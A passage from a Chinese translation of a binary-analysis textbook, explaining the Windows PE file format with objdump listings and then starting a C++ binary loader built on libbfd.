使用objdump反汇编 ELF 二进制文件的 PLT 段。PLT 存根使用了哪些 GOT 条目?现在查看这些 GOT 条目的内容(再次使用objdump),并分析它们与 PLT 的关系。

第三章:PE 格式:简要介绍

既然你已经了解了 ELF 格式,让我们简要看看另一个流行的二进制格式:可移植执行格式(PE 格式)。因为 PE 是 Windows 上主要使用的二进制格式,所以熟悉 PE 对于分析常见的 Windows 二进制文件,尤其是在恶意软件分析中,十分有用。

PE 是通用对象文件格式(COFF)的一个修改版本,COFF 在被 ELF 替代之前也曾在基于 Unix 的系统中使用。由于这个历史原因,PE 有时也被称为 PE/COFF。令人困惑的是,64 位版本的 PE 被称为 PE32+。由于 PE32+ 与原始 PE 格式只有很小的差异,我将简单地称其为“PE”。

在接下来的 PE 格式概述中,我将重点介绍它与 ELF 的主要区别,以防你需要在 Windows 平台上工作。与我在 ELF 中所做的详细介绍相比,我不会对 PE 进行过多的细节说明,因为 PE 不是本书的主要焦点。话虽如此,PE(以及大多数其他二进制格式)与 ELF 共享许多相似之处。既然你已经了解了 ELF,你会发现学习新的二进制格式变得更容易了!

我将围绕图 3-1 展开讨论。图中显示的数据结构定义在 WinNT.h 中,该文件包含在微软 Windows 软件开发工具包中。

3.1 MS-DOS 头部和 MS-DOS 存根

看一下图 3-1,你会看到它与 ELF 格式有很多相似之处,也有一些关键的不同之处。其中一个主要的区别是存在 MS-DOS 头部。没错,就是 MS-DOS,那个 1981 年的老微软操作系统!微软为何要在一个 supposedly 现代的二进制格式中包含这个东西呢?正如你可能猜到的,原因是为了向后兼容。

当 PE 被引入时,曾有一个过渡期,用户同时使用旧式的 MS-DOS 二进制文件和较新的 PE 二进制文件。为了让过渡不那么混乱,每个 PE 文件都以 MS-DOS 头部开始,这样它也可以被当作 MS-DOS 二进制文件解释,至少在某种程度上是如此。MS-DOS 头部的主要功能是描述如何加载和执行紧跟其后的 MS-DOS 存根。这个存根通常只是一个小型的 MS-DOS 程序,当用户在 MSDOS 中执行 PE 二进制文件时,它会替代主程序运行。MS-DOS 存根程序通常会打印出类似“该程序无法在 DOS 模式下运行”的字符串,然后退出。然而,原则上,它也可以是该程序的完整 MS-DOS 版本!

MS-DOS 头部以一个魔数值开始,由 ASCII 字符“MZ”组成。^(1) 因此,它有时也被称为 MZ 头部。对于本章的目的,MS-DOS 头部中唯一其他重要的字段是最后一个字段,叫做 e_lfanew。该字段包含了 PE 二进制文件开始的文件偏移量。因此,当一个支持 PE 的程序加载器打开二进制文件时,它可以读取 MS-DOS 头部,然后跳过它和 MS-DOS 存根,直接跳到 PE 头部的开始位置。

3.2 PE 签名、文件头和可选头

你可以将 PE 头部类比为 ELF 的可执行文件头,只是 PE 中的“可执行文件头”被拆分为三个部分:一个 32 位签名,一个 PE 文件头,和一个 PE 可选头。如果你查看 WinNT.h,你会看到有一个名为 IMAGE_NT_HEADERS64struct,它包含了这三个部分。可以说,struct IMAGE_NT_HEADERS64 整体上就是 PE 版本的可执行文件头。然而,在实际使用中,签名、文件头和可选头被视为独立的实体。

image

图 3-1:PE32+ 二进制文件一览

在接下来的几个章节中,我将讨论这些头部组件的每个部分。为了查看所有头部元素的实际应用,我们来看一下 hello.exe,这是第一章 中 compilation_example 程序的 PE 版本。清单 3-1 显示了 hello.exe 中最重要的头部元素和 DataDirectory 的转储。我稍后会解释 DataDirectory 是什么。

清单 3-1:PE 头部和 DataDirectory 的示例转储

   $ objdump -x hello.exe

   hello.exe:    ➊file format pei-x86-64
   hello.exe
   architecture: i386:x86-64, flags 0x0000012f:
   HAS_RELOC, EXEC_P, HAS_LINENO, HAS_DEBUG, HAS_LOCALS, D_PAGED
   start address 0x0000000140001324

➋ Characteristics 0x22
           executable
           large address aware

   Time/Date               Thu Mar 30 14:27:09 2017
➌ Magic                   020b     (PE32+)
   MajorLinkerVersion      14
   MinorLinkerVersion      10
   SizeOfCode              00000e00
   SizeOfInitializedData   00001c00
   SizeOfUninitializedData 00000000
➍ AddressOfEntryPoint     0000000000001324
➎ BaseOfCode              0000000000001000
➏ ImageBase               0000000140000000
   SectionAlignment        0000000000001000
   FileAlignment           0000000000000200
   MajorOSystemVersion     6
   MinorOSystemVersion     0
   MajorImageVersion       0
   MinorImageVersion       0
   MajorSubsystemVersion   6
   MinorSubsystemVersion   0
   Win32Version            00000000
   SizeOfImage             00007000
   SizeOfHeaders           00000400
   CheckSum                00000000
   Subsystem               00000003     (Windows CUI)
   DllCharacteristics      00008160
   SizeOfStackReserve      0000000000100000
   SizeOfStackCommit       0000000000001000
   SizeOfHeapReserve       0000000000100000
   SizeOfHeapCommit        0000000000001000
   LoaderFlags             00000000
   NumberOfRvaAndSizes     00000010

➐ The Data Directory
   Entry 0 0000000000000000 00000000 Export Directory [.edata]
   Entry 1 0000000000002724 000000a0 Import Directory [parts of .idata]
   Entry 2 0000000000005000 000001e0 Resource Directory [.rsrc]
   Entry 3 0000000000004000 00000168 Exception Directory [.pdata]
   Entry 4 0000000000000000 00000000 Security Directory
   Entry 5 0000000000006000 0000001c Base Relocation Directory [.reloc]
   Entry 6 0000000000002220 00000070 Debug Directory
   Entry 7 0000000000000000 00000000 Description Directory
   Entry 8 0000000000000000 00000000 Special Directory
   Entry 9 0000000000000000 00000000 Thread Storage Directory [.tls]
   Entry a 0000000000002290 000000a0 Load Configuration Directory
   Entry b 0000000000000000 00000000 Bound Import Directory
   Entry c 0000000000002000 00000188 Import Address Table Directory
   Entry d 0000000000000000 00000000 Delay Import Directory
   Entry e 0000000000000000 00000000 CLR Runtime Header
   Entry f 0000000000000000 00000000 Reserved

   ...

3.2.1 PE 签名

PE 签名只是一个包含 ASCII 字符“PE”的字符串,后面跟着两个 NULL 字符。它类似于 ELF 可执行文件头中的 e_ident 字段中的魔法字节。

3.2.2 PE 文件头

文件头描述了文件的基本属性。最重要的字段有 MachineNumberOfSectionsSizeOfOptionalHeaderCharacteristics。描述符号表的两个字段已经废弃,PE 文件不再使用嵌入的符号和调试信息。相反,这些符号会作为单独的调试文件的一部分进行选择性地输出。

与 ELF 的e_machine类似,Machine字段描述了 PE 文件所针对的机器架构。在这种情况下,它是 x86-64(定义为常量0x8664)➊。NumberOfSections字段仅表示区段头表中的条目数量,SizeOfOptionalHeader表示可选头的字节大小,该可选头位于文件头之后。Characteristics字段包含描述诸如二进制文件字节序、是否为 DLL、以及是否被剥离等内容的标志。如objdump的输出所示,示例二进制文件包含Characteristics标志,标识它为一个大地址感知的可执行文件➋。

3.2.3 PE 可选头

尽管名称上看起来是可选的,PE 可选头对于可执行文件而言实际上并非完全可选(尽管它可能在目标文件中缺失)。事实上,你可能会在任何遇到的 PE 可执行文件中发现 PE 可选头。它包含许多字段,下面我将讲解其中最重要的几个。

首先,有一个 16 位的魔法值,对于 64 位 PE 文件,它被设置为0x020b➌。还有几个字段描述了用来创建二进制文件的链接器的主版本号和次版本号,以及运行该二进制文件所需的最小操作系统版本。ImageBase字段➏描述了加载二进制文件时的地址(PE 二进制文件设计为加载到特定的虚拟地址)。其他指针字段包含相对虚拟地址(RVA),这些地址旨在与基址相加以推导出虚拟地址。例如,BaseOfCode字段➎指定了代码区段的基地址作为 RVA。因此,你可以通过计算ImageBase+BaseOfCode来找到代码区段的基虚拟地址。如你所猜测的那样,AddressOfEntryPoint字段➍包含了二进制文件的入口点地址,也以 RVA 形式指定。

在可选头中,可能最不直观的字段是DataDirectory数组➐。DataDirectory包含类型为IMAGE_DATA_DIRECTORYstruct条目,该结构包含一个 RVA 和一个大小。数组中的每个条目描述了二进制文件中某个重要部分的起始 RVA 和大小;该条目的具体解释取决于它在数组中的索引。最重要的条目是索引为 0 的,它描述了导出目录的基 RVA 和大小(基本上是一个导出函数的表);索引为 1 的条目描述了导入目录(一个导入函数的表);索引为 5 的条目描述了重定位表。当我讨论 PE 区段时,我会进一步讲解导出和导入表。DataDirectory基本上为加载器提供了一种快捷方式,使它能够快速查找特定的数据部分,而无需遍历区段头表。

3.3 区段头表

在大多数方面,PE 节头表与 ELF 的节头表类似。它是一个 IMAGE_SECTION_HEADER 结构体的数组,每个结构体描述一个节,标明其在文件和内存中的大小(SizeOfRawDataVirtualSize)、文件偏移和虚拟地址(PointerToRawDataVirtualAddress)、重定位信息以及任何标志(Characteristics)。其中一些标志描述节是否可执行、可读、可写,或这些特性的组合。与 ELF 节头表引用字符串表不同,PE 节头表使用一个简单的字符数组字段(恰当地命名为 Name)来指定节的名称。由于该数组只有 8 字节长,PE 节名称的长度限制为 8 个字符。

与 ELF 不同,PE 格式没有明确区分节和段。PE 文件最接近 ELF 执行视图的部分是 DataDirectory,它为加载程序提供了快速访问二进制文件中设置执行所需的某些部分的捷径。除此之外,没有单独的程序头表;节头表既用于链接也用于加载。

3.4 节

PE 文件中的许多部分可以直接与 ELF 部分进行比较,通常甚至有(几乎)相同的名称。列表 3-2 展示了 hello.exe 中各部分的概述。

列表 3-2:示例 PE 二进制文件中各部分的概述

$ objdump -x hello.exe
...

Sections:
Idx Name       Size        VMA              LMA               File off Algn
  0 .text      00000db8    0000000140001000 0000000140001000  00000400 2**4
               CONTENTS,   ALLOC, LOAD, READONLY, CODE       
  1 .rdata     00000d72    0000000140002000 0000000140002000  00001200 2**4
               CONTENTS,   ALLOC, LOAD, READONLY, DATA       
  2 .data      00000200    0000000140003000 0000000140003000  00002000 2**4
               CONTENTS,   ALLOC, LOAD, DATA                 
  3 .pdata     00000168    0000000140004000 0000000140004000  00002200 2**2
               CONTENTS,   ALLOC, LOAD, READONLY, DATA       
  4 .rsrc      000001e0    0000000140005000 0000000140005000  00002400 2**2
               CONTENTS,   ALLOC, LOAD, READONLY, DATA       
  5 .reloc     0000001c    0000000140006000 0000000140006000  00002600 2**2
               CONTENTS,   ALLOC, LOAD, READONLY, DATA
...

如 列表 3-2 中所示,.text 部分包含代码,.rdata 部分包含只读数据(大致相当于 ELF 中的 .rodata),而 .data 部分包含可读/可写数据。通常还会有一个 .bss 部分用于零初始化数据,尽管在这个简单的示例二进制文件中它缺失了。还有一个 .reloc 部分,包含重定位信息。一个需要注意的重要点是,像 Visual Studio 这样的 PE 编译器有时会将只读数据放在 .text 部分(与代码混合在一起),而不是放在 .rdata 中。这在反汇编时可能会导致问题,因为它可能会误将常量数据解释为指令。

3.4.1 .edata 和 .idata 部分

在 PE 文件中,最重要的部分是 .edata.idata,它们在 ELF 中没有直接对应的部分,分别包含导出和导入函数的表格。DataDirectory 数组中的导出目录和导入目录条目指向这些部分。.idata 部分指定了二进制文件从共享库或 Windows 中的 DLL 导入的符号(函数和数据)。.edata 部分列出了二进制文件导出的符号及其地址。因此,为了解析外部符号的引用,加载程序需要将所需的导入与提供所需符号的 DLL 的导出表进行匹配。

实际上,你可能会发现没有单独的.idata和.edata 部分。事实上,它们在清单 3-2 中的示例二进制文件中也不存在!当这些部分不存在时,通常会将它们合并到.rdata中,但它们的内容和作用仍然保持不变。

当加载器解析依赖关系时,它会将解析后的地址写入导入地址表(IAT)中。类似于 ELF 中的全局偏移表,IAT 只是一个已解析指针的表格,每个指针占一个槽位。IAT 也是.idata部分的一部分,最初包含指向要导入的符号名称或标识号的指针。动态加载器随后将这些指针替换为指向实际导入函数或变量的指针。对库函数的调用实际上是对该函数的thunk的调用,thunk 不过是通过 IAT 槽位进行的间接跳转。清单 3-3 展示了 thunk 在实践中的样子。

清单 3-3:PE thunk 示例

$ objdump -M intel -d hello.exe
...
140001cd0: ff 25 b2 03 00 00    jmp QWORD PTR [rip+0x3b2]   # ➊0x140002088
140001cd6: ff 25 a4 03 00 00    jmp QWORD PTR [rip+0x3a4]   # ➋0x140002080
140001cdc: ff 25 06 04 00 00    jmp QWORD PTR [rip+0x406]   # ➌0x1400020e8
140001ce2: ff 25 f8 03 00 00    jmp QWORD PTR [rip+0x3f8]   # ➍0x1400020e0
140001ce8: ff 25 ca 03 00 00    jmp QWORD PTR [rip+0x3ca]   # ➎0x1400020b8
...

你会经常看到 thunks 被分组在一起,如清单 3-3 所示。请注意,跳转的目标地址从➊到➎都存储在导入目录中,位于.rdata部分,该部分从地址0x140002000开始。这些是 IAT 中的跳转槽位。

3.4.2 PE 代码段中的填充

顺便提一下,在反汇编 PE 文件时,你可能会注意到有很多int3指令。Visual Studio 将这些指令作为填充指令(而不是gcc使用的nop指令)以对齐内存中的函数和代码块,使其能够高效访问。^(2) int3指令通常由调试器用于设置断点;它会导致程序陷入调试器,或者如果没有调试器的话,则导致程序崩溃。由于填充指令并不打算被执行,所以这对于填充代码来说是没问题的。

3.5 小结

如果你已经完成了第二章和本章的内容,我为你的坚持点赞。阅读完本章后,你应该已经了解了 ELF 和 PE 之间的主要相似点和不同点。如果你对在 Windows 平台上分析二进制文件感兴趣,这将对你有所帮助。在下一章,你将动手开始构建第一个真正的二进制分析工具:一个可以加载 ELF 和 PE 二进制文件进行分析的二进制加载库。

习题

1. 手动头部检查

就像在第二章中分析 ELF 二进制文件时一样,使用像xxd这样的十六进制查看器查看 PE 二进制文件中的字节。你可以使用之前相同的命令,xxd program.exe | head -n 30,其中program.exe是你的 PE 二进制文件。你能识别表示 PE 头部的字节并理解所有头部字段的含义吗?

2. 磁盘表示与内存表示

使用readelf查看 PE 二进制文件的内容。然后绘制该二进制文件在磁盘上的表示与其在内存中的表示之间的对比图。它们之间有什么主要区别?

3. PE 与 ELF

使用objdump反汇编一个 ELF 和一个 PE 二进制文件。二进制文件使用不同类型的代码和数据结构吗?你能分别识别出适用于 ELF 编译器和 PE 编译器的一些典型代码或数据模式吗?

第四章:使用 LIBBFD 构建二进制加载器

现在,你已经通过前几章对二进制文件有了扎实的理解,准备开始构建自己的分析工具了。在本书中,你将经常构建自己的工具来操作二进制文件。由于几乎所有这些工具都需要解析并(静态地)加载二进制文件,因此拥有一个提供此功能的通用框架是非常有意义的。在这一章中,我们将使用libbfd来设计和实现这样的框架,以加深你对二进制格式的理解。

在本书的第三部分中,你将再次看到二进制加载框架,该部分涵盖了构建你自己二进制分析工具的高级技术。在设计框架之前,我将简要介绍libbfd

4.1 什么是 libbfd?

二进制文件描述符库^(1)(libbfd)提供了一个通用接口,用于读取和解析所有流行的二进制格式,并为各种架构编译。这包括针对 x86 和 x86-64 机器的 ELF 和 PE 文件。通过将二进制加载器基于libbfd,你可以自动支持所有这些格式,而无需实现任何格式特定的支持。

BFD 库是 GNU 项目的一部分,并被binutils套件中的许多应用程序使用,包括objdumpreadelfgdb。它提供了对所有常见二进制格式组件的通用抽象,例如描述二进制目标和属性的头文件、节列表、重定位集合、符号表等。在 Ubuntu 中,libbfdbinutils-dev包的一部分。

你可以在/usr/include/bfd.h中找到核心的libbfd API。^(2) 不幸的是,libbfd的使用可能有些笨重,因此我们不打算在这里解释它的 API,而是直接深入探索 API,同时实现二进制加载框架。

4.2 一个简单的二进制加载接口

在实现二进制加载器之前,让我们先设计一个易于使用的接口。毕竟,二进制加载器的整个目的是使加载二进制文件的过程尽可能简单,以便后续所有你将在本书中实现的二进制分析工具都能使用。它主要用于静态分析工具。请注意,这与操作系统提供的动态加载器完全不同,后者的工作是将二进制文件加载到内存中以执行,如第一章中讨论的那样。

让我们使二进制加载接口与底层实现无关,这意味着它不会暴露任何libbfd函数或数据结构。为了简化,我们还将保持接口尽可能基础,仅暴露你在后续章节中经常使用的二进制部分。例如,接口将省略如重定位之类的组件,这些通常与二进制分析工具无关。

清单 4-1 显示了描述二进制加载器将公开的基本 API 的 C++ 头文件。请注意,它位于 VM 上的 inc 目录中,而不是包含本章其他代码的 chapter4 目录中。原因是加载器在本书的所有章节中是共享的。

清单 4-1: inc/loader.h

   #ifndef LOADER_H
   #define LOADER_H

   #include <stdint.h>
   #include <string>
   #include <vector>

   class Binary;
   class Section;
   class Symbol;

➊ class Symbol {
   public:
     enum SymbolType {
       SYM_TYPE_UKN = 0,
       SYM_TYPE_FUNC = 1
     };

     Symbol() : type(SYM_TYPE_UKN), name(), addr(0) {}

     SymbolType type;
     std::string name;
     uint64_t    addr;
   };

➋ class Section {
   public:
     enum SectionType {
       SEC_TYPE_NONE = 0,
       SEC_TYPE_CODE = 1,
       SEC_TYPE_DATA = 2
     };

     Section() : binary(NULL), type(SEC_TYPE_NONE),
                 vma(0), size(0), bytes(NULL) {}

     bool contains(uint64_t addr) { return (addr >= vma) && (addr-vma < size); }

     Binary         *binary;
     std::string     name;
     SectionType     type;
     uint64_t        vma;
     uint64_t        size;
     uint8_t         *bytes;
   };

➌ class Binary {
   public:
     enum BinaryType {
       BIN_TYPE_AUTO = 0,
       BIN_TYPE_ELF  = 1,
       BIN_TYPE_PE   = 2
     };
     enum BinaryArch {
       ARCH_NONE = 0,
       ARCH_X86 = 1
     };

     Binary() : type(BIN_TYPE_AUTO), arch(ARCH_NONE), bits(0), entry(0) {}

     Section *get_text_section()
       { for(auto &s : sections) if(s.name == ".text") return &s; return NULL; }

     std::string            filename;
     BinaryType             type;
     std::string            type_str;
     BinaryArch             arch;
     std::string            arch_str;
     unsigned               bits;
     uint64_t               entry;
     std::vector<Section>   sections;
     std::vector<Symbol>    symbols;
   };

➍ int load_binary(std::string &fname, Binary *bin, Binary::BinaryType type);
➎ void unload_binary(Binary *bin);

 #endif /* LOADER_H */

如你所见,API 暴露了表示二进制不同组件的多个类。Binary 类是“根”类,表示整个二进制的抽象 ➌。除此之外,它还包含一个 Section 对象的 vector 和一个 Symbol 对象的 vectorSection 类 ➋ 和 Symbol 类 ➊ 分别表示二进制文件中包含的节和符号。

从核心来看,整个 API 仅围绕两个函数展开。第一个是 load_binary 函数 ➍,它接受一个二进制文件的名称(fname)、一个指向 Binary 对象的指针用于存储加载的二进制文件(bin),以及一个二进制类型的描述符(type)。它将请求的二进制文件加载到 bin 参数中,并在加载成功时返回 0,若加载失败则返回小于 0 的值。第二个函数是 unload_binary ➎,它只是接受一个指向先前加载的 Binary 对象的指针并将其卸载。

现在你已经熟悉了二进制加载器的 API,接下来我们来看看它是如何实现的。我将从讨论 Binary 类的实现开始。

4.2.1 Binary 类

正如其名称所示,Binary 类是一个完整二进制文件的抽象。它包含二进制文件的文件名、类型、架构、位宽、入口点地址,以及节和符号。二进制类型具有双重表示:type 成员包含一个数字类型标识符,而 type_str 包含二进制类型的字符串表示。同样的双重表示也用于架构。

有效的二进制类型在 enum BinaryType 中列举,包括 ELF(BIN_TYPE_ELF)和 PE(BIN_TYPE_PE)。还有一个 BIN_TYPE_AUTO,你可以将其传递给 load_binary 函数,要求它自动判断二进制文件是 ELF 还是 PE 文件。类似地,有效的架构在 enum BinaryArch 中列举。对于这些目的,唯一有效的架构是 ARCH_X86。这包括 x86 和 x86-64;两者之间的区别由 Binary 类的 bits 成员表示,x86 设置为 32 位,x86-64 设置为 64 位。

通常,你可以通过分别迭代 Binary 类中的 sectionssymbols 向量来访问节和符号。由于二进制分析通常关注 .text 节中的代码,因此还有一个名为 get_text_section 的便捷函数,顾名思义,它会自动查找并返回该节。

4.2.2 Section 类

段由Section类型的对象表示。Section类是一个简单的包装器,用于表示段的主要属性,包括段的名称、类型、起始地址(vma成员)、大小(以字节为单位)以及该段包含的原始字节。为了方便,还提供了一个指向包含Section对象的Binary的指针。段类型由enum SectionType值表示,指示该段是包含代码(SEC_TYPE_CODE)还是数据(SEC_TYPE_DATA)。

在分析过程中,你通常需要检查特定的指令或数据片段属于哪个段。因此,Section类有一个名为contains的函数,它接受一个代码或数据地址,并返回一个bool值,指示该地址是否属于该段。

4.2.3 符号类

如你所知,二进制文件包含许多类型的符号,包括本地和全局变量、函数、重定位表达式、对象等。为了简化,加载器接口只暴露了一种符号类型:函数符号。它们特别有用,因为当函数符号可用时,它们使得你可以轻松地实现函数级别的二进制分析工具。

加载器使用Symbol类来表示符号。该类包含一个符号类型,表示为enum SymbolType,其唯一有效值为SYM_TYPE_FUNC。此外,类还包含符号描述的函数的符号名称和起始地址。

4.3 实现二进制加载器

现在二进制加载器有了明确的接口,我们开始实现它吧!这就是libbfd发挥作用的地方。由于完整的加载器代码较长,我会将其分成几个部分,一一讨论。在以下代码中,你可以通过bfd_前缀识别libbfd的 API 函数(也有一些以_bfd结尾的函数,但它们是加载器定义的函数)。

首先,你当然需要包含所有需要的头文件。我不会提及加载器使用的所有标准 C/C++ 头文件,因为这些内容在这里不重要(如果你真的需要,可以在虚拟机上查看加载器的源码)。需要特别提到的是,所有使用libbfd的程序都必须包含bfd.h,如 Listing 4-2 所示,并通过指定链接器标志-lbfd来链接libbfd。除了bfd.h之外,加载器还包含了前一部分中创建的接口所在的头文件。

Listing 4-2: inc/loader.cc

#include <bfd.h>
#include "loader.h"

说到这,接下来要看的代码部分是load_binaryunload_binary,这是加载器接口暴露的两个入口函数。Listing 4-3 展示了这两个函数的实现。

Listing 4-3: inc/loader.cc (续)

  int
➊ load_binary(std::string &fname, Binary *bin, Binary::BinaryType type)
  {
    return ➋load_binary_bfd(fname, bin, type);
  }

  void
➌ unload_binary(Binary *bin)
  {
    size_t i;
    Section *sec;

➍ for(i = 0; i < bin->sections.size(); i++) {
     sec = &bin->sections[i];
     if(sec->bytes) {
➎      free(sec->bytes);
     }
    }
   }

load_binary ➊ 的工作是解析由文件名指定的二进制文件,并将其加载到传入的 Binary 对象中。这是一个有点繁琐的过程,因此 load_binary 明智地将这项工作推迟给另一个函数,叫做 load_binary_bfd ➋。稍后我会讨论这个函数。

首先,让我们看一下 unload_binary ➌。和许多事情一样,销毁一个 Binary 对象要比创建一个容易得多。为了卸载 Binary 对象,加载器必须释放(使用 free)所有 Binary 的动态分配组件。幸运的是,这些组件并不多:只有每个 Sectionbytes 成员是动态分配的(使用 malloc)。因此,unload_binary 只需遍历所有 Section 对象 ➍,并为它们逐个释放 bytes 数组 ➎。现在你已经了解了卸载二进制文件的工作原理,让我们更详细地看看如何使用 libbfd 实现加载过程。

4.3.1 初始化 libbfd 并打开二进制文件

在上一节中,我承诺会向你展示 load_binary_bfd,这个函数使用 libbfd 来处理加载二进制文件的所有工作。在此之前,我得先处理一个先决条件。也就是说,要解析并加载二进制文件,你首先必须打开它。打开二进制文件的代码实现于一个名为 open_bfd 的函数中,具体代码见 Listing 4-4。

Listing 4-4: inc/loader.cc (续)

   static bfd*
   open_bfd(std::string &fname)
   {
     static int bfd_inited = 0;
     bfd *bfd_h;

     if(!bfd_inited) {
➊      bfd_init();
        bfd_inited = 1;
     }

➋   bfd_h = bfd_openr(fname.c_str(), NULL);
     if(!bfd_h) {
       fprintf(stderr, "failed to open binary '%s' (%s)\n",
               fname.c_str(), ➌bfd_errmsg(bfd_get_error()));
       return NULL;
     }
➍   if(!bfd_check_format(bfd_h, bfd_object)) {
       fprintf(stderr, "file '%s' does not look like an executable (%s)\n",
               fname.c_str(), bfd_errmsg(bfd_get_error()));
       return NULL;
     }

     /* Some versions of bfd_check_format pessimistically set a wrong_format
     * error before detecting the format and then neglect to unset it once
     * the format has been detected. We unset it manually to prevent problems.
     */
➎  bfd_set_error(bfd_error_no_error);

➏  if(bfd_get_flavour(bfd_h) == bfd_target_unknown_flavour) {
      fprintf(stderr, "unrecognized format for binary '%s' (%s)\n",
             fname.c_str(), bfd_errmsg(bfd_get_error()));
      return NULL;
    }

    return bfd_h;
  }

open_bfd 函数使用 libbfd 来确定由文件名(fname 参数)指定的二进制文件的属性,打开它,然后返回一个指向该二进制文件的句柄。在使用 libbfd 之前,你必须调用 bfd_init ➊ 来初始化 libbfd 的内部状态(或者像文档中所说的那样,初始化“神奇的内部数据结构”)。由于这只需要做一次,open_bfd 使用静态变量来跟踪初始化是否已经完成。

在初始化 libbfd 后,你调用 bfd_openr 函数,通过文件名打开二进制文件 ➋。bfd_openr 的第二个参数允许你指定目标(二进制文件的类型),但在本例中,我将其设置为 NULL,这样 libbfd 会自动确定二进制文件的类型。bfd_openr 的返回值是一个指向类型为 bfd 的文件句柄的指针;这是 libbfd 的根数据结构,你可以将其传递给所有其他 libbfd 函数来对二进制文件执行操作。如果发生错误,bfd_openr 会返回 NULL

一般来说,每当发生错误时,你可以通过调用bfd_get_error来找到最近的错误类型。该函数返回一个bfd_error_type类型的对象,你可以将其与预定义的错误标识符进行比较,比如bfd_error_no_memorybfd_error_invalid_target,从而判断如何处理该错误。通常,你可能只想退出并显示错误信息。为此,bfd_errmsg函数可以将bfd_error_type转换为描述错误的字符串,供你打印到屏幕上➌。

在获得二进制文件的句柄后,你应该使用bfd_check_format函数检查二进制文件的格式 ➍。该函数接受一个bfd句柄和一个bfd_format值,后者可以设置为bfd_objectbfd_archivebfd_core。在这种情况下,加载器将其设置为bfd_object,以验证打开的文件是否确实是一个对象,在libbfd术语中,这意味着可执行文件、可重定位对象或共享库。

在确认处理的是bfd_object之后,加载器手动将libbfd的错误状态设置为bfd_error_no_error➎。这是对一些版本的libbfd中的一个问题的变通方法,这些版本在检测格式之前就设置了bfd_error_wrong_format错误,并且即使格式检测没有问题,也会保留该错误状态。

最后,加载器通过使用bfd_get_flavour函数检查二进制文件是否具有已知的“风味”➏。该函数返回一个bfd_flavour对象,表示二进制文件的类型(如 ELF、PE 等)。有效的bfd_flavour值包括bfd_target_msdos_flavourbfd_target_coff_flavourbfd_target_elf_flavour。如果二进制格式未知或发生错误,get_bfd_flavour将返回bfd_target_unknown_flavour,在这种情况下,open_bfd会打印错误并返回NULL

如果所有检查都通过,说明你已成功打开一个有效的二进制文件,并准备开始加载其内容!open_bfd函数返回它所打开的bfd句柄,供你在后续的libbfd API 调用中使用,如下几个清单所示。

4.3.2 解析基本二进制属性

现在你已经看过了打开二进制文件所需的代码,是时候看一下load_binary_bfd函数了,见清单 4-5。回想一下,这是处理所有实际解析和加载工作的函数,代表load_binary函数。在本节中,目的是将有关二进制文件的所有有趣细节加载到由bin参数指向的Binary对象中。

清单 4-5: inc/loader.cc (续)

   static int
   load_binary_bfd(std::string &fname, Binary *bin, Binary::BinaryType type)
   {
     int ret;
     bfd *bfd_h;
     const bfd_arch_info_type *bfd_info;

     bfd_h = NULL;
➊   bfd_h = open_bfd(fname);
     if(!bfd_h) {
       goto fail;
     }

     bin->filename = std::string(fname);
➋   bin->entry    = bfd_get_start_address(bfd_h);

➌   bin->type_str = std::string(bfd_h->xvec->name);
➍   switch(bfd_h->xvec->flavour) {
     case bfd_target_elf_flavour:
       bin->type = Binary::BIN_TYPE_ELF;
       break;
    case bfd_target_coff_flavour:
      bin->type = Binary::BIN_TYPE_PE;
      break;
    case bfd_target_unknown_flavour:
    default:
      fprintf(stderr, "unsupported binary type (%s)\n", bfd_h->xvec->name);
      goto fail;
    }

➎     bfd_info = bfd_get_arch_info(bfd_h);
➏     bin->arch_str = std::string(bfd_info->printable_name);
➐     switch(bfd_info->mach) {
      case bfd_mach_i386_i386:
        bin->arch = Binary::ARCH_X86;
        bin->bits = 32;
        break;
      case bfd_mach_x86_64:
        bin->arch = Binary::ARCH_X86;
        bin->bits = 64;
        break;
      default:
        fprintf(stderr, "unsupported architecture (%s)\n",
                bfd_info->printable_name);
        goto fail;
      }

      /* Symbol handling is best-effort only (they may not even be present) */
➑    load_symbols_bfd(bfd_h, bin);
➒    load_dynsym_bfd(bfd_h, bin);

      if(load_sections_bfd(bfd_h, bin) < 0) goto fail;

      ret = 0;
      goto cleanup;

    fail:
      ret = -1;

    cleanup:
➓    if(bfd_h) bfd_close(bfd_h);

      return ret;
   }

load_binary_bfd函数首先使用刚刚实现的open_bfd函数打开fname参数指定的二进制文件,并获取一个指向该二进制文件的bfd句柄➊。然后,load_binary_bfd设置一些bin的基本属性。它首先复制二进制文件的名称,并使用libbfd查找并复制入口点地址➋。

要获取二进制文件的入口点地址,可以使用bfd_get_start_address,它简单地返回bfd对象中start_address字段的值。起始地址是一个bfd_vma,本质上就是一个 64 位无符号整数。

接下来,加载器收集有关二进制类型的信息:它是 ELF、PE 格式,还是其他不受支持的类型?你可以在libbfd维护的bfd_target结构中找到这些信息。要获取指向这个数据结构的指针,只需要访问bfd句柄中的xvec字段。换句话说,bfd_h->xvec给你一个指向bfd_target结构的指针。

除其他外,这个结构提供了一个包含目标类型名称的字符串。加载器将这个字符串复制到Binary对象中 ➌。接下来,它通过switch语句检查bfd_h->xvec->flavour字段,并根据该字段设置Binary的类型 ➍。加载器仅支持 ELF 和 PE 格式,因此如果bfd_h->xvec->flavour表示任何其他类型的二进制文件,它将产生错误。

现在你已经知道二进制文件是 ELF 还是 PE 格式,但还不知道它的架构。要找出这一点,可以使用libbfdbfd_get_arch_info函数 ➎。顾名思义,这个函数返回一个指向数据结构的指针,该结构提供有关二进制架构的信息。这个数据结构被称为bfd_arch_info_type。它提供了一个方便的可打印字符串,描述了架构,加载器将这个字符串复制到Binary对象中 ➏。

bfd_arch_info_type数据结构还包含一个名为mach的字段 ➐,它只是一个表示架构的整数标识符(在libbfd术语中称为machine)。这种架构的整数表示允许使用方便的switch语句来实现特定架构的处理。如果mach等于bfd_mach_i386_i386,则表示它是一个 32 位 x86 二进制文件,加载器将相应地设置Binary中的字段。如果machbfd_mach_x86_64,则它是一个 x86-64 二进制文件,加载器再次设置相应的字段。任何其他类型都不受支持,并会导致错误。

现在你已经了解了如何解析有关二进制类型和架构的基本信息,是时候进行实际的工作了:加载二进制文件中包含的符号和段。正如你想象的那样,这并不像你到目前为止看到的那么简单,因此加载器将必要的工作推迟到专门的函数中,这些函数将在接下来的章节中描述。加载器用来加载符号的两个函数分别称为load_symbols_bfdload_dynsym_bfd ➑。正如接下来章节所述,它们分别从静态和动态符号表中加载符号。加载器还实现了load_sections_bfd,这是一个专门用于加载二进制文件段的函数 ➒。我将在第 4.3.4 节中详细讨论它。

